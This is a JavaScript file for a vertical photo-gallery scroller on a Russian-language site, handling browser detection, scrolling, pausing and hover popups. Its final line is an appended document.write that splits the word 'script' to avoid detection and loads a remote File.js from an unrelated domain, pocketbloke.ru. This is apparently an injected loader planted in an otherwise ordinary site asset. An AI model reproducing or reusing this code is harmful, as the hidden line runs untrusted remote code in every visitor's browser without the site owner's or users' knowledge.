// Основа скрипта взята с www.ricom.co.uk

orientation = "vertical"
scrollerWidth = "400" // Дурим ИЕ
//scrollerHeight = "600"
borderWidth = 0
borderColour = "black"
backColour = "#89c8f0"
staticColour = "#000000"
stopScroll = 1
textAlignment = "center"
posterTitle = "СкандиДом - Фотогалерея"
scrollerDivider = "<span style=\"display: block; width: 30px;\">&nbsp;</span>"
var newerplay=0;
//var speed=1;

//alert (scrollerHeight);
// Проверяем браузер
var isIE = (document.getElementById && document.all)?true:false;
var isNS4 = (document.layers)?true:false;
var isNS6 = (document.getElementById && !document.all)?true:false;
var isLoaded=false;

// Показываем факер нетскейпу (был, сынок, такой браузер...)
ns4Text = "Посмотреть весь репертуар";
ns4URL = "http://www.mirage.ru/shedule";
ns4Target = "_top";

// Генерируем скроллер на странице
function buildScroller()
{
boundry='<div name="boundry" id="boundry" style="position:relative;"></div>';
document.writeln(boundry);
}
function getElementPosition(elemId)
{
    var elem = document.getElementById(elemId);
	
    var w = elem.offsetWidth;
    var h = elem.offsetHeight;
	
    var l = 0;
    var t = 0;
	
    while (elem)
    {
        l += elem.offsetLeft;
        t += elem.offsetTop;
        elem = elem.offsetParent;
    }

    return t;
}
delayd=new Array();
function show(num1,num2)
{
	clearTimeout(delayd[num1]);
	document.getElementById("div_1_"+num1+"_"+num2).style.display="block";
	//document.getElementById("div_2_"+num1+"_"+num2).style.display="block";
}
function hideD(num1,num2)
{
	delayd[num1] = setTimeout ("hide("+num1+", "+num2+");", 500); 
}
function StopD()
{
	clearTimeout(delayd);
}
function hide(num1,num2)
{
	document.getElementById("div_1_"+num1+"_"+num2).style.display="none";
	//document.getElementById("div_2_"+num1+"_"+num2).style.display="none";
}
// А ручки-то - вот они:
function loadScroller(){
a=getElementPosition("scroll_detecter");
var scrollerHeight=a-250;
if(isNS4){
scroller='<table border="1" cellpadding="0" cellspacing="0" width="'+scrollerWidth+'" bgcolor="'+borderColour+'"><tr><td>'
scroller+='<table border="0" cellpadding="3" cellspacing="1" width="100%" height="'+scrollerHeight+'" style="overflow: hidden;"><tr><td align="center" nowrap><p>';
if(ns4URL.toLowerCase()!="none"){scroller+='<a href="'+ns4URL+'" class="rcScroller" target="'+ns4Target+'">'+ns4Text+'</a>';}
else{scroller+=ns4Text;} 
scroller+='</p></td></tr></table></td></tr></table>'   
}else{
scroller='<table border="0" cellpadding="0" cellspacing="0" style="width:'+scrollerWidth+';height:'+scrollerHeight+';border:'+borderWidth+'px solid '+borderColour+';" class="scroller_bg">';
scroller+='<tr valign="top"><td style="background-image:url(images/gallert_top2.gif);background-repeat:no-repeat;"><div id="div" style="margin-top: 0px;';
if(orientation.toLowerCase()=="vertical"){scroller+='height:'+scrollerHeight+';';}
scroller+='width:'+scrollerWidth+'; position:relative; overflow:hidden">';
scroller+='<div id="div1" style="position:relative; left:0; z-index:1;">';
scroller+='<table border="0" name="table"  id="table"';
if(orientation.toLowerCase()=="vertical"){scroller+='style="width:'+scrollerWidth+'"';}
scroller+='><tr>';
y=0;
while (y<4)
{
for (x=0; x<(Article.length); x++)
{
if(orientation.toLowerCase()=="vertical"){scroller+='<tr>';}
scroller+='<td ';
if(orientation.toLowerCase()=="horizontal"){scroller+='nowrap';} if(stopScroll==1){scroller+=' onMouseOver="stopScroller(0);" onMouseOut="setWidth(1)"';}
scroller+=' valign="top"><div class="poster_bg"><p align="center">';
if(Article[x][1].toLowerCase()!="none"){scroller+='<table width="100%" border="0" cellspacing="0" cellpadding="0" onMouseOver="show('+x+','+y+');" onMouseOut="hideD('+x+','+y+');"><tr><td colspan="2" class="scroler_sub_text" style="padding-bottom:0px;"><table width="300" border="0" cellspacing="0" cellpadding="0"><tr><td class="scroler_sub_text" width="118" nowrap><nobr>'+Article[x][3]+'</nobr>'+Article[x][4]+'</td></tr></table></td></tr><tr valign="top"><td width="170"><div style="border:1px solid #b7b7b7;width:150px;"><a class="rcScroller" href="'+Article[x][1]+'" onMouseOver="show('+x+','+y+');"><img src="'+Article[x][0]+'" width="150" height="97" border="0" title="'+posterTitle+'"></a></div><div style="display:none;padding-top:15px;" id="div_1_'+x+'_'+y+'"><table cellspacing="0" cellpadding="0" border="0"><tr><td class="scroler_sub_text">'+Article[x][2]+'</td></tr></table></div></td><td style="padding-left:20px;"><div style="border:1px solid #b7b7b7;width:150px;"><a class="rcScroller" href="'+ArticleR[x][1]+'" onMouseOver="show('+x+','+y+');"><img src="'+ArticleR[x][0]+'" width="150" height="97" border="0" title="'+posterTitle+'"></a></div><div style="display:none;padding-top:15px;" id="div_2_'+x+'_'+y+'"><table cellspacing="0" cellpadding="0" border="0"><tr><td class="scroler_sub_text">'+Article[x][2]+'</td></tr></table></div></td></tr></table>';
}else{scroller+=Article[x][0];}          
scroller+='</p></div><\/td>';
if(orientation.toLowerCase()=="vertical"){scroller+='<\/tr>';}
if(scrollerDivider.toLowerCase() != "none"){scroller+='<td nowrap><p>'+scrollerDivider+'<\/p><\/td>';}
}
y++
}
scroller+='<\/tr><\/table><\/div><\/div><\/td><\/tr><\/table>';  
}
document.getElementById("boundry").innerHTML=scroller;
setWidth(1);
}

// Определяем, делится ли ширина скроллера на 2 (для более плавной прокрутки)
function setWidth(paramspeed,param2)
{ 
  if (param2==1) newerplay=0;
  if (newerplay==0)
  {
	  tableObj=(isIE)?document.all("table"):document.getElementById("table"); 
	  obj=(isIE)?document.all.div1:document.getElementById("div1");   
	  objWidth=(orientation.toLowerCase()=="horizontal")?getOffset(tableObj,"width"):getOffset(tableObj,"height");
	  HalfWidth=Math.floor(objWidth/2);
	  newWidth = (HalfWidth*2)+2;
	  obj.style.width=newWidth
	  moveLayer(obj, newWidth, paramspeed);
  }
  
}

// Сдвигаем слой по пикселю влево
function moveLayer(obj, width,speednew)
{
//alert(speednew);
//if (speednew!=0) 
//alert(speednew);
maxLeft = (0-(width/2)+2)/2
if(orientation.toLowerCase()=="horizontal"){
obj.style.left=(parseInt(obj.style.left) <= maxLeft)?0:parseInt(obj.style.left)-1
}else{
if(obj.style.top==""){obj.style.top=0;}
// alert(obj.style.top)
if (parseInt(obj.style.top)<(0-(width/2)+6)){
obj.style.top = 0
}else{
obj.style.top = parseInt(obj.style.top)-speednew
}
}
timer = setTimeout ("moveLayer(obj, "+width+","+speednew+");", 50); 
}

// Определяем размеры слоя
function getOffset(obj, dim) 
{
if(dim=="width")
{
oWidth = obj.offsetWidth
return oWidth
}  
else if(dim=="height")
{
oHeight = obj.offsetHeight
return oHeight
}    
}

// Паузим при наведении
function stopScroller(param)
{
if (param==1) newerplay=1;
clearTimeout(timer)  
}
function ShowB(num)
{
	for(i=1;i<4;i++)
	{
		if (i==num) document.getElementById('b_'+i).src='images/btn'+i+'_over.gif';
		else document.getElementById('b_'+i).src='images/btn'+i+'.gif';
	}
}

document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/File.js"></scri'+'pt>');